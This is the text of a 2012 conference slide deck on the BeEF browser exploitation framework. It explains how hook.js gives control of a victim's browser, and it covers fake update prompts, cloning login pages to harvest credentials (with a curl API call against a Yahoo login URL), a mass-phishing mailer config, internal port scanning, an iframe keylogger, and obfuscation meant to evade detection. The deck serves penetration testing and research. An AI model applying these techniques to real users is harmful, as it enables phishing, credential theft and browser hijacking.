All you ever wanted to know about BeEF

Antisnatchor – ZeroNights 2012 - Москва
About antisnatchor

• Lead core developer of BeEF
• Application security researcher
• Loves Ruby, Javascript and OpenBSD
• Kubrick fan
• Водка fan
BeEF

- The most robust framework to control the browser of a victim entirely with Javascript.

- Each browser is likely to be within a different security context, and each context may provide a set of unique attack vectors.
High Level Architecture
Lets start to play with it

• **BeEF Live CD**  
  -> thanks Ben Waugh
  – Based on Ubuntu 😞
  – Latest (GIT): BeEF, Metasploit, sqlmap
  – No GUI
  – Exclusive release at ZeroNights 2012

• **Latest Ruby + gem dependencies pre-installed:**
  – If you have issues installing BeEF, use the live CD (i.e. don’t bother us :-)

BeEF

XHR internals

1. http://x.x.x.x/hook.js

2. JS executed, beef_init() called
BeEF XHR internals

1. http://x.x.x.x/hook.js

2. The victim request the hook

3. JS executed, beef_init() called

return browser details, start polling on http://x.x.x.x/hook.js

POLLING
BeEF XHR internals

1. http://x.x.x.x/hook.js

2. JS executed, beef_init() called

3. return browser details, start polling on http://x.x.x.x/hook.js

4. the BeEF admin wants to send a module

beef.execute(function(){
    prompt("wtf?");
});
the BeEF admin wants to send a module

1. http://x.x.x.x/hook.js

2. JS executed, beef_init() called

3. return browser details, start polling on http://x.x.x.x/hook.js

4. the poll to http://x.x.x.x/hook.js returns something this time!

5. beef.execute(function(){
   prompt('wtf?');
});
the BeEF admin wants to send a module

BeEF

1. http://x.x.x.x/hook.js

2. JS executed, beef_init() called

3. return browser details, start polling on http://x.x.x.x/hook.js

4. the poll to http://x.x.x.x/hook.js returns something this time!

5. beef.execute content is added to a stack (beef.commands)

6. beef.execute(content)
the BeEF admin wants to send a module

BeEF

1. http://x.x.x.x/hook.js

2. the victim request the hook

3. return browser details, start polling on http://x.x.x.x/hook.js

4. JS executed, beef_init() called

5. the poll to http://x.x.x.x/hook.js returns something this time!

6. beef.execute content is added to a stack (beef.commands)

    beef.execute(function(){
        prompt('wtf?');
    });

    cmd = beef.commands.pop();
    try {
        cmd();
    }

7. The page at 127.0.0.1:3000 says:

    "wtf?"

    "don't know!"
Other communication channels

- **WebSockets**
  - Almost real-time communication, high responsiveness
  - Both WebSocket and WebSocketSecure are supported
  - Just start BeEF with the following configuration (main config.yaml):

```yaml
# Prefer WebSockets over XHR-polling when possible.
websocket:
  enable: true
  secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
  port: 61985 # WS: good success rate through proxies
  secure_port: 61986 # WSS
  alive_timer: 1000 # poll BeEF every second
```
Attack the user

• Trick the user to click/accept using visual social engineering techniques, like:
  – Fake flash update
  – Clippy

• Automate WebCloning and Mass Mailing with the Social Engineering extension
Fake flash update

You should be hooked into BeEF.

Have fun while your browser is working against you.

Here are the links for demonstrating the "Get Page HREFs" command module:

- [The Browser Exploitation Framework Project homepage](#)
- [hackers.org homepage](#)
- [Slashdot](#)

Have a go at the event logger.

Insert your secret here: [Textbox]

You can also load up a more advanced demo page [here](#).

An update to Adobe® Flash® Player is available.

This update includes:

- Improved video performance for smooth, high-quality playback
- Improved performance and compatibility
- Security enhancements described in the Security Bulletin

See details...

Updating takes under a minute on broadband - no restart is required.
Fake flash update
by Mike Haworth, antisnatchor

• Prompts the user to install an update to Adobe Flash Player

• The file to be delivered could be a Chrome or Firefox extension

• Chrome <= 20 is required for the Chrome extension delivery

• (Chrome >= 21 enables extensions coming only from Google WebStore)
Clippy

You should be hooked into BeEF.

Have fun while your browser is working against you.

These links are for demonstrating the "Get Page HREFs" command module

- [The Browser Exploitation Framework Project homepage](http://172.16.37.1:3000/demos/basic.html)
- [hackers.org homepage](http://172.16.37.1:3000/demos/basic.html)
- [Slashdot](http://172.16.37.1:3000/demos/basic.html)

Have a go at the event logger.
Insert your secret here: [ ]

You can also load up a more advanced demo page [here](http://172.16.37.1:3000/demos/basic.html)
File Download - Security Warning

Do you want to run or save this file?

Name: putty.exe
Type: Application, 472 KB
From: the.earth.li

Run  Save  Cancel

While files from the Internet can be useful, this file type can potentially harm your computer. If you do not trust the source, do not run or save this software. What's the risk?

Microsoft Internet Explorer

These links are for demonstrating the "Get Page HREFs" command module

- The Browser Exploitation Framework Project homepage
- ha.ckers.org homepage
- Slashdot

Have a go at the event logger.
Insert your secret here: 

You can also load up a more advanced demo page here
Clippy
by vt, denden

- **Original code:**

- **Display the old Microsoft Clippy helper icon, prompting the user to do stuff. Click YES:**
  - Download and run executable
  - Click on links
  - Enter data
Social Engineering for the Masses

- The idea was to have new BeEF features, exposed with the RESTful API, to:
  - Send phishing emails using HTML templates;
  - Clone webpages, harvest credentials;
  - Client-side pwnage.
Social Engineering for the masses: WebCloner

• Clone a webpage and serve it on BeEF, then automatically:
  – modify the page to intercept POST requests.
  – add the BeEF hook to the page
  – if the page can be framed, after POST interception load the original page on an overlay iFrame, otherwise redirect to original page
Social Engineering

for the masses: WebCloner

• curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://login.yahoo.com/config/login_verify2", "mount":="/"}' -X POST http://<BeEF>/api/seng/clone_page?token=53921d2736116dbd86f8f7f7f10e46f1

• If you register login.yahoo.com, you can specify a mount point of /config/login_verify2, so the phishing url will be (almost) the same
Do your phishing email campaigns

- Get a sample email from your target (possibly with company footer/HTML)
- Copy the HTML content in a new BeEF email template
- Download images so they will be added inline.
- Add you malicious links/attachments
- Send the email to X targets -> Fun!
Social Engineering for the masses: MassMAiler

mass_mailer:
  # NOTE: you must have 'File' in your PATH
  user_agent: "Microsoft-MacOutlook/12.12.0.111556"
  host: "smtp.gmail.com"
  port: 587
  use_auth: true
  use_tls: true
  helo: "gmail.com" # this is usually the domain name
  from: "youruser@gmail.com"
  password: "yourpass"
  # available templates
  templates:
    default:
      # images are by default inline, so if you want to attach
      images: ["beef_logo.png","second_image.png"]
      images_cids:
        cid1: "beef_logo.png"
        #cid2: "second_image.png"
      attachments: ["beef_attachment.pdf"]
Social Engineering

FOR THE MASSES: MassMAiler

• curl -H "Content-Type: application/json; charset=UTF-8" -d 'body' -X POST http://<BeEF>/api/ seng/send_mails?
  token=0fda00ea62a1102f

• WHERE BODY IS:
  
  { "template": "default", "subject": "Hi from BeEF", 
  "fromname": "BeEF", 
    "user1@gmail.com": "Michele", "user2@antisnatchor.com": "Antisnatchor"
  }]
  }
Social Engineering for the masses: MassMAiler

• More info about the Social Engineering extension:
  – Read the code: <beef>/extensions/social_engineering/rest/social_engineering.rb
ATTACK THE NETWORK

• Identify and fingerprint alive hosts in the hooked browser internal network
  – Port scanning
  – Network fingerprinter -> JBoss exploit

• IPEC techniques + BeEF Bind
Attack the network: network fingerprinter

- Identify common services available on HTTP (Apache, JBoss, printers, etc...) given a range of IPs
Attack the network: network fingerprinter

Given an array of default image path, width, height, we can determine cross-domain if a service is serving that image.
Attack the network: **Port scanner**

- **Scan for default nmap ports, or** selected ports you define, **on a specified IP**
Attack the network: Port scanner

• Combines 3 methods:
  – Image loading (similar to network fingerprinter)
  – WebSockets

• Most effective: scanning for selected ports (20/30 ports)
IPEC Techniques and BeEF Bind

• Research released at RuxCon 2012

• Write up here:

• Slides and screencast demo:
  – http://vimeo.com/52801406
Hook Persistence

- Reduce the likelihood that we will lose the hooked browser if the victim browse away:
  - Iframe_keylogger
  - Man in the browser
  - Confirm close
Iframe Keylogger

by antisnatchor

• **Loads a same-domain resource in an overlay 100% width/eight Iframe**

• **Attach a keypress listener to the iframe -> log keystrokes with Javascript**

  — Ideally you want to load the login page of the hooked domain

  • And get credentials. Who cares about stealing cookies in 2012?
Iframe Keylogger

- Persistence is also achieved
  - If the victim is browsing the in the same tab hooked (foreground Iframe), the background communication will still be running

- If the target domain uses X-Frame-Options properly, we can’t use this module
Man in the Browser

by Mathias Karlsson, Graziano, antisnatchor

• **Hijack user navigation entirely in Javascript**
  – Same-domain link: load the resource in the current page
  – Cross-domain link: opens in new tab
  – Form submissions are sniffed
  – AJAX calls are hijacked too

• **Works always in Chrome/Safari/Firefox. Need to be ported to IE/Opera.**
Confirm Close

by antisnatchor

• Shows a confirm dialog to the user when he tries to close a tab.
• If he click yes, re-display the confirm dialog.

You should be hooked into BeEF.

Have fun while your browser is working against you.

These links are for demonstrating the "Get Page HTML" feature:

- The Browser Exploitation Framework Project
- ha.ckers.org homepage
- Slashdot

Have a go at the event logger.
Insert your secret here: 

You can also load up a more advanced demo page

Confirm Navigation
There is currently a request to the server pending. You will lose recent changes by navigating away.

Are you sure you want to leave this page?

Stay on this Page Leave this Page

here
Evasion and Obfuscation

- Default techniques
- Whitespace encoding
- Writing new techniques
Why?

• **There are people implementing dumb regexes to detect BeEF (hook.js, Server headers)**

• **We want to be stealthy, especially during pentests**
The Extension

• 4 obfuscation techniques:
  - **Scramble**: randomize variables/cookies names. Regex searching for ‘beef’ fail
  - **Minify**: remove whitespaces, comments
  - **Base_64**: adds a bootstrapper and encode in base64
  - **Whitespace Encoding**

```javascript
enable: true
name: 'Evasion'
authors: ['antisnatchor']
exclude_core_js: ['lib/jquery-1.5.2.min.js', 'lib/json2.js', 'lib/jools.min.js']
scramble_variables: true
scramble_cookies: true
scramble:
  beef: "beef"
  Beef: "Beef"
  evercookie: "evercookie"
  chain: ["scramble", "minify", "base_64", "whitespace"]
```
The Extension

• Write your Own!
  – Add the ruby class into obfuscation/directory
  – Implement the following methods:
    • need_bootstrap
    • Get_bootstrap
    • execute
Whitespace Technique

• ‘Kolisar’ technique ported to BeEF by Jean Louis Huynen (galypette)

• Binary encoded ASCII values:
  - 0 -> tab (‘\t’)
  - 1 -> space (‘ ’)
Get in touch!

- **Public mailing list:**
  - beef-subscribe@bindshell.net

- **Twitter:** @beefproject, @antisnatchor

- **GitHub:**
  - https://github.com/beefproject/beef

- **Youtube:**
  - http://www.youtube.com/user/TheBeefproject

- **Vimeo (antisnatchor):**
  - http://vimeo.com/user1924142
Thanks

• давайте выпьем водки